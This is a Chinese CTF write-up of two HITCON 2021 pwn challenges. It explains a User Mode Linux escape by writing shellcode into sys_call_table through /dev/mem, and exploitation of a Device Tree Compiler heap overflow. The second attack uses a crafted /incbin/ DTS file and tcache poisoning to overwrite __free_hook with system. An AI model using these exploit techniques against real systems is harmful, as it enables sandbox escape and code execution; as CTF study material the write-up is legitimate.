..

[hitcon2021] 部分 pwn 题 writeup

第三次作为 pwn 手参加国际赛,只签出了 pwn 的签到题有点遗憾,被 Device Tree 的两道题所折磨。

uml

洞是看到了,利用方式也想到了,就是最后劫持的时候选择太多突然懵逼,试了两个走不通的方法卡了一下就被郑和哥拿下了。

题目给了一个 User Mode Linux 的附件,作用有点像 sandbox,在其中启动了 note 程序。

简单分析一下 note 程序逻辑:

  1. 要求用户输入文件名,之后会对该文件进行读写,打开文件的路径为 ‘/tmp/%s’
  2. 菜单选项
    1. 可以往文件写入内容,最大 0x10000
    2. 可以读取文件内容,最大 0x10000
  if ( (unsigned int)_isoc99_scanf((unsigned int)"%30s", (unsigned int)path, v0, v1, v2, v3) != 1 )
    exit(1LL);
  if ( path[0] == '.' )
    exit(1LL);

利用点 1: /tmp/%s 只过滤了第一个字符不能是 ‘.’,可以很简单通过类似 ‘/tmp//../’ 访问到根目录,但并不能通过这种方式访问到 host fs。

  while ( 1 )
  {
    // read cmd
    if ( cmd == CMD_WRITE )
    {
      chunk = readn(0, size);
      v15 = fwrite(chunk, 1uLL, size, (__int64)FILE);
      if ( v15 != size )
        exit(1LL);
      rewind(FILE);
      free(chunk);
    }
    else if ( cmd == CMD_READ )
    {
      size_1 = size;
      fio = fileno_unlocked(FILE);
      chunk_1 = (const char *)readn(fio, size_1);
      v18 = write(1u, chunk_1, size);
      if ( v18 != size )
        exit(1LL);
      free(chunk_1);
    }
  }

利用点 2: READ 命令中,read() 后没有 rewind(),会导致 FILE 指针后移,可以先 READ 再 WRITE 就可以控制写入的偏移。

往 /dev/mem 里随意写几个字节,由于 user_copy 的保护机制,不能往 kernel 的 .text 段写,所以会通过 panic 打印出地址相关的信息,可以看到是没有开启 kaslr 的,那问题就很 open 了,任意写内核数据完成劫持。

b'Pid: 20, comm: note Not tainted 5.15.6\r\n'
b'RIP: 0033:[<000000006036630c>]\r\n'
b'RSP: 0000000062897ca8  EFLAGS: 00010246\r\n'
b'RAX: 0000000060000020 RBX: 0000000062897d58 RCX: 0000000000000031\r\n'
b'RDX: 0000000000000000 RSI: 0000000061f30d50 RDI: 0000000060000020\r\n'
b'RBP: 0000000062897cc0 R08: 00000000ffffffff R09: 000000006002249f\r\n'
b'R10: 0000000000000000 R11: 0000000000000206 R12: 0000000000000001\r\n'
b'R13: 0000000062897d58 R14: 0000000060000d50 R15: 000000006002224e\r\n'
b'Kernel panic - not syncing: Kernel tried to access user memory at addr 0x60000020'

最开始想的就是 poweroff 劫持,但是试了一下 poweroff_cmd 和 reboot_cmd 都没用,看了下源码好像没有走到对应的路径。

其实很简单,直接写 sys_call_table 就行了。从符号表中找到 sys_read 的地址交叉引用过去就是 sys_call_table 的地址。只需要在前面布置 shellcode,把第一个函数指针指向 shellcode 就行了(这里虽然是 .rodata 但 user_copy 只检查在没在 .text,并不检查 RONLY)。

?: 这里拿到的直接就是 host 的 shell,没太仔细去了解 UML 的实现原理,可能是因为 kernel mode 执行的时候 syscall 没有被拦截?

dtcaas

附件给了一个 dtc (Device Tree Compiler),网上可以搜到很多关于 DeviceTree 的介绍,这里就不细讲了。看了一下 patch 也就只是起到了一个 fork_server 的作用,可以运行两次,所以洞还得去 dtc 的代码中找。

看了一下如果像题目那样启动的话,dtc 会尝试从文件内容判断文件是 dtb 类型还是 dts 类型,然后走两条不同的路径,可以大致理解为编译和反编译。这么大的程序第一时间肯定还是想到 fuzz,从 linux 的目录下找到很多 dts 文件,然后先用 dtc 编译就可以得到 dtb 文件,分别用来作为 fuzz 两条路径的种子(因为两条路径基本没有重合,所以这里我选择启了两个 fuzzer)。然后用 afl-clang-fast 加上 AFL_USE_ASAN 编译一份 dtc 就可以启用 fuzz。

两个 fuzzer 都报了十来个 unique crashes,但是大多数的 crash 都是由于字符串一些小错误导致的轻微越界读,而且都只能读到 chunk 的 padding 部分,没有利用的价值。

void __fastcall flat_read_chunk(inbuf *inb, void *p, int len)
{
  char *v4; // rsi
  char *v5; // rcx

  v4 = inb->ptr;
  v5 = &v4[len];
  if ( inb->limit < v5 )
    die_1("Premature end of data parsing flat device tree\n", v4, (int)len, v5, p);
  qmemcpy(p, v4, (int)len);                     // 0xffff0000 -> 0xffffffffffff0000
  inb->ptr += (int)len;
}

dtb-fuzzer 在 flat_read_chunk 中发现了一个 OOBW 的漏洞,原因是参数 len 是作为 int 类型被传入,然后被符号扩展作为 qmemcpy 的参数,但是 qmemcpy 是把 len 作为 uint_64 看待。所以如果 len 是一个负数 int,那么 qmemcpy 的 len 就会是一个超大的数值,造成越界写。但是也正是由于这个数值太大了,所以这里必定会 crash,这个洞也没有任何利用价值,也没有发现类似的错误在其他函数出现。

fuzzing 来找漏洞的想法暂时 stuck 住了可能就要考虑别的方向了,首先大致看一下 dtc 的代码。对于 dtb 文件,是自己手写的解析器,因为 dtb 本身包含了很丰富的格式信息在里面;对于 dts 文件,其使用了 bison 来作语法解析(可能是帮助写编译器的一种定义语法的框架)。

从 dtc-parser.y 来看看其定义的语法,可以发现一个比较奇怪的地方:

propdata:
    ...
	| propdataprefix DT_INCBIN '(' DT_STRING ',' integer_prim ',' integer_prim ')'
		{
			FILE *f = srcfile_relative_open($4.val, NULL);
			struct data d;

			if ($6 != 0)
				if (fseek(f, $6, SEEK_SET) != 0)
					die("Couldn't seek to offset %llu in \"%s\": %s",
					    (unsigned long long)$6, $4.val,
					    strerror(errno));

			d = data_copy_file(f, $8);

			$$ = data_merge($1, d);
			fclose(f);
		}
	| propdataprefix DT_INCBIN '(' DT_STRING ')'
		{
			FILE *f = srcfile_relative_open($4.val, NULL);
			struct data d = empty_data;

			d = data_copy_file(f, -1);

			$$ = data_merge($1, d);
			fclose(f);
		}

如果当某一个属性的值(propdata)是 DT_INCBIN 相关的的话(词法可以在 dtc-lexer.l 中看到,就是 ‘/incbin/’,就会把后面给出的 DT_STRING 作为一个文件名读取其内容,最后这个内容会通过 stdout 输出。由于我们有两次机会,这里就是一个很强力的 leak,可以通过如下的 dts 文件直接读取 /proc/self/maps 的值,从而泄露出所有的地址。

/dts-v1/;
/ {
    wtf = /incbin/("/proc/self/maps");
};

直到比赛结束都还是没能找到比较好的内存破坏漏洞,最后看出题人的 solution,内存破坏漏洞也还是同样存在于对 incbin 的处理之中:

struct data data_copy_file(FILE *f, size_t maxlen)
{
	struct data d = empty_data;

	d = data_add_marker(d, TYPE_NONE, NULL);
	while (!feof(f) && (d.len < maxlen)) {
		size_t chunksize, ret;

		if (maxlen == (size_t)-1)
			chunksize = 4096;
		else
			chunksize = maxlen - d.len;

		d = data_grow_for(d, chunksize);
		ret = fread(d.val + d.len, 1, chunksize, f);

        ...

		d.len += ret;
	}

	return d;
}

struct data data_grow_for(struct data d, unsigned int xlen);

如之前的代码所描述的,对 incbin 的处理最后会通过 data_copy_file() 来读出文件中的数据,maxlen 也是 dts 可以指定的数值。data_grow_for() 用来增大存放数据的 chunk,但是 data_grow_for() 参数类型是 unsigned int 4 字节,而 fread() 的参数 chunksize 是 size_t 类型的 8 字节,这里就存在一个截断问题,可以导致一次内存越界写,并且由于 fread() 并不会读出多于文件内容的数据,所以这里也不会存在写入数据过多的问题。

这个 BUG 确实不好 fuzz 到,没有结构化地定制 afl 很难把这个 maxlen 字段改为一个合法的大数字。

所以第二次机会只需要通过如下的 dts 文件就可以实现一次 chunk 越界写任意内容,并且是在完全 leak 的情况下。

/dts-v1/;
/ {
        wtf = /incbin/("/proc/self/fd/0", 0, 0x1000000XX);
};

之后怎么完成劫持也是一个问题,因为只有一次越界写(fread() 这里返回需要 shutdown 发送端)。大概可能有两种思路,一种是覆盖函数指针做栈迁移 + ROP;还有就是可以利用解析器的特点,可以通过 dts 代码来控制 malloc 和 free。这里我选择用后者,因为大致看了一下源码和堆没看到可利用的函数指针,看了一下语法解析器找到了 malloc 和 free 的原语。

考虑远程是 ubuntu 20.04 libc-2.31,所以还是打 tcache,利用大致要满足以下几个条件:

  1. malloc 的大小是可控的,分配的 chunk 要能写值
  2. malloc 并写数据后若有不可控的 free 执行,其参数必须是可控的 chunk (覆写 __free_hook 后劫持必要)
  3. 能够通过 free 来布局 chunk (victim chunk 要在 tcache 之前)
  4. 能够连续 free 两个同样大小的 chunk (tcache 改 next 劫持必要)

最后找了解析属性相关的函数作为原语:

propdata:
	propdataprefix DT_STRING
	{
		$$ = data_merge($1, $2);
	}
	| propdataprefix arrayprefix '>'
	{
		$$ = data_merge($1, $2.data);
	}

propdataprefix:
	/* empty */
	{
		$$ = empty_data;
	}
	| propdata ','
	{
		$$ = $1;
	}
	| propdataprefix DT_LABEL
	{
		$$ = data_add_marker($1, LABEL, $2);
	}

struct data data_merge(struct data d1, struct data d2)
{
	struct data d;
	struct marker *m2 = d2.markers;

	d = data_append_markers(data_append_data(d1, d2.val, d2.len), m2);

	/* Adjust for the length of d1 */
	for_each_marker(m2)
		m2->offset += d1.len;

	d2.markers = NULL; /* So data_free() doesn't clobber them */
	data_free(d2);

	return d;
}

void data_free(struct data d)
{
	struct marker *m, *nm;

	m = d.markers;
	while (m) {
		nm = m->next;
		free(m->ref);
		free(m);
		m = nm;
	}

	if (d.val)
		free(d.val);
}

看到 propdata 的相关语法,最后会通过 data_merge() 来构建属性,其中 merge 具体操作为把第一个 data 的 chunk realloc 到更大的数值,把第二个 data 的数据 memcpy 过去,然后 free 掉第二个 data 的 chunk。例如语句 “a = “A”*0x100;” 最后就会得到一个大小为 0x110 的 chunk(注意这里 chunk 不能太小,不然会被存放其他数据的 chunk 给占用)。并且根据语法规则 propdataprefix 是可递归的,属性的值可以为多个,例如 “a = “A”*0x100, “A”*0x100;” 根据语法解析的规则,两个 chunk 会被依次 free 掉,就得到了连续的两个 free chunk。还有一点,属性的不一定是字符串,还可以是数组等,例如定义 a = <0xdeadbeef 0xbabecafe>; 就可以写入不可见字符(在写地址时是必须的)。

还要注意 data_merge() 中 memcpy 往新 chunk 写入 data2 的数值后就会把 data2 的 chunk free 掉,如果是直接劫持到 __free_hook 那么第二个 data 前几个字节就是 system 的地址,但这样就会导致 system 执行不了命令,所以需要劫持到 __free_hook 之前,让第二个 data 的前几个字节为要执行的命令,用之后的数据来覆盖 __free_hook。

所以定义的 dts 以及利用的流程为:

  1. 定义属性值长为 0x100 的属性,导致解析后有 0x110 大小的 chunk 被 free 在堆上
  2. 定义有两个属性值长为 0x110 的属性,导致解析后有两个 0x120 大小的 chunk 被 free 在堆上,且在 0x110 chunk 之下
  3. 定义属性,触发 incbin 的漏洞,覆写 fd 指针指向 &__free_hook-8
  4. 定义属性,通过 realloc() 分配回一个 0x120 的 chunk
  5. 定义属性,通过 realloc() 分配另一个 0x120 的 chunk 就指向了 __free_hook 周围,再写入 system 的值

紧接着 free 就会调用 system,由于 fread() 需要关闭输入来强制返回,这里需要打两次远程,第一次执行 ls 把 flag 的名字打出来,第二次执行 cat flag_name 输出 flag 的内容。

这道题本地能通远程打不过,不知道是布局不一样还是调用的 io.shutdown() 函数不对 ;(